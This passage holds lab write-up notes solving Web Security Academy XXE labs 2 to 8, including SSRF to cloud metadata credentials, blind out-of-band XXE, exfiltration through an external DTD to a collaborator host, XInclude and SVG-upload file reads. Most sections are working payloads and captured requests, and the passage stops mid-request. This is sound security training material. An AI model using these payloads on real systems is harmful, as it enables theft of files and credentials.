&lt;h2&gt;Lab 2: Exploiting XXE to Perform SSRF attacks&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110113703.png&quot; alt=&quot;Pasted image 20251110113703.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110114001.png&quot; alt=&quot;Pasted image 20251110114001.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to capture the &lt;code&gt;Check Stock&lt;/code&gt; req so here it is,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a36002504a4e18b8084172c00b7004d.web-security-academy.net
Connection: keep-alive
Content-Length: 107
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/xml
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=G29ap0qjBobfyLLmtbShcqZmdVyRbdjE

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;
		1
	&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;
		1
	&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It here the Payload which we will inject into out req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE stockCheck [
  &amp;lt;!ENTITY xxe SYSTEM &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/admin&quot;&amp;gt;
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;&amp;amp;xxe;&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a36002504a4e18b8084172c00b7004d.web-security-academy.net
Connection: keep-alive
Content-Length: 107
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/xml
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=G29ap0qjBobfyLLmtbShcqZmdVyRbdjE


&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE stockCheck [
  &amp;lt;!ENTITY xxe SYSTEM &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/admin&quot;&amp;gt;
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;&amp;amp;xxe;&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;We successfully get IAM Secret Access Key&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110114720.png&quot; alt=&quot;Pasted image 20251110114720.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;Code&quot;: &quot;Success&quot;,
&quot;LastUpdated&quot;: &quot;2025-11-10T06:07:56.118511689Z&quot;,
&quot;Type&quot;: &quot;AWS-HMAC&quot;,
&quot;AccessKeyId&quot;: &quot;MfZuA9JCkkhYdijn3ei5&quot;,
&quot;SecretAccessKey&quot;: &quot;LaPTGVYvMsc09Kr9teV9yEMAD6xATbLmhr8FkBPz&quot;,
&quot;Token&quot;: &quot;065Ji5oKMvuDFPvdjXVVDuqcjjcsGOZ7FifalsHnyXyAxgG7m9zBm27hTLEpsvF4O1laq97Z3MB8XuQ1r9Kft4UPRzNw8mwfv7qXSVDP781bjSNIgyflIU3KhblmuOJ9pX6aubpxiPkD7rp96XWMfxEiDv2875t0nF6nLjb2Shy9NPw4s73FHgNrTwZfGTgfrHdlyuIe5WbZitaJU7bwmjPxNWhF0xBkkzSnXAxryHjfsOYb5PAYq7L4Kk5byifP&quot;,
&quot;Expiration&quot;: &quot;2031-11-09T06:07:56.118511689Z&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110115813.png&quot; alt=&quot;Pasted image 20251110115813.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 3: Blind XXE with out-of-band interaction&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114222039.png&quot; alt=&quot;Pasted image 20251114222039.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So as previous lab we have to capture &lt;code&gt;/product/stock&lt;/code&gt; endpoint which is sending XML data to server so we can try there our payload,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0aaf0067032459d785d0545f00eb0031.web-security-academy.net
Cookie: session=zkqwjVuhCv09McN6crtfjZPRlB7IACy0
Content-Length: 107
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aaf0067032459d785d0545f00eb0031.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aaf0067032459d785d0545f00eb0031.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Since this is blind XXE so we can replace xml with this payload which contains burp collaborator url,&lt;/li&gt;
&lt;li&gt;It made req to that url and if we get then we have xxe working&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE stockCheck [
  &amp;lt;!ENTITY xxe SYSTEM &quot;http://ccsipkjptbut4x6e5u9u42y8szyqmga5.oastify.com/xxe-test&quot;&amp;gt;
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;&amp;amp;xxe;&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114222807.png&quot; alt=&quot;Pasted image 20251114222807.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We got response in collab, and there is motive of this lab so we solved the lab.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114222817.png&quot; alt=&quot;Pasted image 20251114222817.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114222942.png&quot; alt=&quot;Pasted image 20251114222942.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 4: Lab: Blind with out-of-band interaction via XML parameter entities&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114223042.png&quot; alt=&quot;Pasted image 20251114223042.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Again we capture the &lt;code&gt;/product/stock&lt;/code&gt; req and see what&apos;s in it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0ad000a50319f45784c10f9b006d000f.web-security-academy.net
Cookie: session=Qu0LiaEWo8Ub2dojX5vysj2kzFlUVEoy
Content-Length: 107
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0ad000a50319f45784c10f9b006d000f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ad000a50319f45784c10f9b006d000f.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I tried previous payload but got blocked so we have to try different tag to bypass this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114223245.png&quot; alt=&quot;Pasted image 20251114223245.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After trying multiple things this works,&lt;/li&gt;
&lt;li&gt;These are Parameter Entities (&lt;code&gt;%entity&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Parameter entities:
&lt;ul&gt;
&lt;li&gt;Start with &lt;code&gt;%&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Are used &lt;strong&gt;inside DTDs only&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Never appear in the final XML content&lt;/li&gt;
&lt;li&gt;Are often not blocked, because most filters only target general entities (&lt;code&gt;&amp;amp;name;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Since your external DTD does not contain harmful instructions (only a URL), the parser just makes the OOB call.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE root [
  &amp;lt;!ENTITY % ext SYSTEM &quot;http://1fh7s9mew0xi7m938jcj7r1xvo1fp6dv.oastify.com/xxe-test&quot;&amp;gt;
  %ext;
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114223818.png&quot; alt=&quot;Pasted image 20251114223818.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114223822.png&quot; alt=&quot;Pasted image 20251114223822.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And we solve the lab by doing this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114223842.png&quot; alt=&quot;Pasted image 20251114223842.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 5: Exploiting blind XXE to exfiltrate data using a malicious external DTD&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114224203.png&quot; alt=&quot;Pasted image 20251114224203.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to exfiltrate the &lt;code&gt;/etc/host&lt;/code&gt; content to solve this lab so first we capture the &lt;code&gt;/product/stock&lt;/code&gt; req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0a4d009903fedb1180966766003e0092.web-security-academy.net
Cookie: session=IwehDMHwI98PLuxNiOrLxxiEWjZR2231
Content-Length: 107
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a4d009903fedb1180966766003e0092.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4d009903fedb1180966766003e0092.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So to solve this challenge we have to host out exploit server which contains this exploit so exfiltrate &lt;code&gt;/etc/hostnames&lt;/code&gt; with this collab url &lt;code&gt;bydhbj5ofagsqwsdrtvtq1k7eykp8hw6.oastify.com&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;It renders &lt;code&gt;hostname&lt;/code&gt; file using &lt;code&gt;file:///&lt;/code&gt; protocol and append it to our burp endpoint with any random parameters so this will send data through url,&lt;/li&gt;
&lt;li&gt;we store this file in exploit server, and we do view exploit and copy that url,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;file:///etc/hostname&quot;&amp;gt;
&amp;lt;!ENTITY % eval &quot;&amp;lt;!ENTITY &amp;amp;#x25; exfil SYSTEM &apos;http://bydhbj5ofagsqwsdrtvtq1k7eykp8hw6.oastify.com/?x=%file;&apos;&amp;gt;&quot;&amp;gt;
%eval;
%exfil;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114225540.png&quot; alt=&quot;Pasted image 20251114225540.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114225622.png&quot; alt=&quot;Pasted image 20251114225622.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://exploit-0ac300340382db7880c8665101af0032.exploit-server.net/exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we have to embed above url in actual xml payload which pull this DTD from our server and executes it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
&amp;lt;!ENTITY % xxe SYSTEM &quot;https://exploit-0ac300340382db7880c8665101af0032.exploit-server.net/exploit&quot;&amp;gt; %xxe;]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114225732.png&quot; alt=&quot;Pasted image 20251114225732.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114225805.png&quot; alt=&quot;Pasted image 20251114225805.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hostname is &lt;code&gt;c0777275c175&lt;/code&gt; and after submit this solution we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114225842.png&quot; alt=&quot;Pasted image 20251114225842.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 6: Exploiting blind XXE to retrieve data via error messages&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114230010.png&quot; alt=&quot;Pasted image 20251114230010.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To solve this lab we have to display content of &lt;code&gt;/etc/passwd&lt;/code&gt; so here is &lt;code&gt;/product/stock&lt;/code&gt; req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0ada00680388a92782c598eb00f3006b.web-security-academy.net
Cookie: session=dN909puMGZnPHSlv3I3NPE72CsGIZkgN
Content-Length: 107
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0ada00680388a92782c598eb00f3006b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ada00680388a92782c598eb00f3006b.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is exploit hosted on exploit sever,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
&amp;lt;!ENTITY % eval &quot;&amp;lt;!ENTITY &amp;amp;#x25; exfil SYSTEM &apos;file:///invalid/%file;&apos;&amp;gt;&quot;&amp;gt;
%eval;
%exfil;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114230941.png&quot; alt=&quot;Pasted image 20251114230941.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We grab the URL of exploit server where DTD is hosted by doing view exploit,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://exploit-0a2600990353a94382bf975d01b700fb.exploit-server.net/exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114230958.png&quot; alt=&quot;Pasted image 20251114230958.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Final XML Exploit which we send to server,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [

&amp;lt;!ENTITY % xxe SYSTEM &quot;https://exploit-0a2600990353a94382bf975d01b700fb.exploit-server.net/exploit&quot;&amp;gt; %xxe;]&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;1&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;it works and we got &lt;code&gt;/etc/passwd&lt;/code&gt; directly in response with some error,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114231128.png&quot; alt=&quot;Pasted image 20251114231128.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114231155.png&quot; alt=&quot;Pasted image 20251114231155.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 7: Exploiting XInclude to retrieve files&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115030446.png&quot; alt=&quot;Pasted image 20251115030446.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the &lt;code&gt;CheckStock&lt;/code&gt; req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0a840013044f220085404bd2003c006a.web-security-academy.net
Cookie: session=q887Y0wxz5bGzcDsYRs8j6HCW9C7DpvJ
Content-Length: 21
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a840013044f220085404bd2003c006a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a840013044f220085404bd2003c006a.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

productId=1&amp;amp;storeId=1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;In this lab Because we don&apos;t control the entire XML document we can&apos;t define a DTD to launch a classic XXE attack.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!hint]
XInclude is part of the XML standard (&lt;code&gt;XLink&lt;/code&gt;) that allows one XML document to include another external file.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;so as per description, inject an &lt;code&gt;XInclude&lt;/code&gt; statement to retrieve the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;This tells the XML parser:
&lt;ul&gt;
&lt;li&gt;&quot;Before processing, fetch this file and include its contents here.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;xi:include href=&quot;other.xml&quot; parse=&quot;xml&quot; xmlns:xi=&quot;http://www.w3.org/2001/XInclude&quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is actual payload,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;xi:include href=&quot;file:///etc/passwd&quot; parse=&quot;text&quot;
    xmlns:xi=&quot;http://www.w3.org/2001/XInclude&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is what happens:
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;xi:include&lt;/code&gt; is recognized as an &lt;strong&gt;XInclude directive&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The parser sees &lt;code&gt;href=&quot;file:///etc/passwd&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;It loads that file from the filesystem&lt;/li&gt;
&lt;li&gt;The contents of &lt;code&gt;/etc/passwd&lt;/code&gt; replace the &lt;code&gt;&amp;lt;xi:include&amp;gt;&lt;/code&gt; tag&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;We will inject this payload into out parameters,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;productId=&amp;lt;xi:include xmlns:xi=&quot;http://www.w3.org/2001/XInclude&quot; href=&quot;file:///etc/passwd&quot; parse=&quot;text&quot;/&amp;gt;&amp;amp;storeId=1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;We got &lt;code&gt;/etc/passwd&lt;/code&gt; and also solved the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115032746.png&quot; alt=&quot;Pasted image 20251115032746.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115032804.png&quot; alt=&quot;Pasted image 20251115032804.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 8: Exploiting XXE via image file upload&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251115032905.png&quot; alt=&quot;Pasted image 20251115032905.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!hint]
The SVG image format uses XML.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Apache Batik&lt;/strong&gt; :- A Java library used to &lt;strong&gt;render SVG images&lt;/strong&gt; → converts them into raster graphics.&lt;/li&gt;
&lt;li&gt;SVG is not just an image format — it is &lt;strong&gt;XML&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;So when the server thinks it&apos;s processing an &quot;image&quot;, Batik is actually parsing &lt;strong&gt;XML&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Here is the &lt;code&gt;/post/comment&lt;/code&gt; endpoint request in which i tried upload below &lt;code&gt;shell.svg&lt;/code&gt; with needed details.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; standalone=&quot;yes&quot;?&amp;gt;
&amp;lt;!DOCTYPE svg [
  &amp;lt;!ENTITY hostname SYSTEM &quot;file:///etc/hostname&quot;&amp;gt;
]&amp;gt;
&amp;lt;svg width=&quot;300&quot; height=&quot;50&quot;
     xmlns=&quot;http://www.w3.org/2000/svg&quot;
     version=&quot;1.1&quot;&amp;gt;
  &amp;lt;text x=&quot;10&quot; y=&quot;30&quot; font-size=&quot;20&quot;&amp;gt;&amp;amp;hostname;&amp;lt;/text&amp;gt;
&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;POST /post/comment HTTP/2
Host: 0ae500da04f5442b80fe357d00ae00a3.web-security-academy.net
Cookie: session=4CmpDnsIAE8Cpo9lDr1pZwDn36ZIXolm
Content-Length: 1073
Cache-Control: max-age=0
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Origin: https://0ae500da04f5442b80fe357d00ae00a3.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary49osAwipf2s1ka4j
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae500da04f5442b80fe357d00ae00a3.web-security-academy.net/post?postId=1
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundary49osAwipf2s1ka4j
Content-Disposition: form-data; name=&quot;csrf&quot;

1ZCqa1BZYXkJHxYikDmxz9p3kbTM9fb7
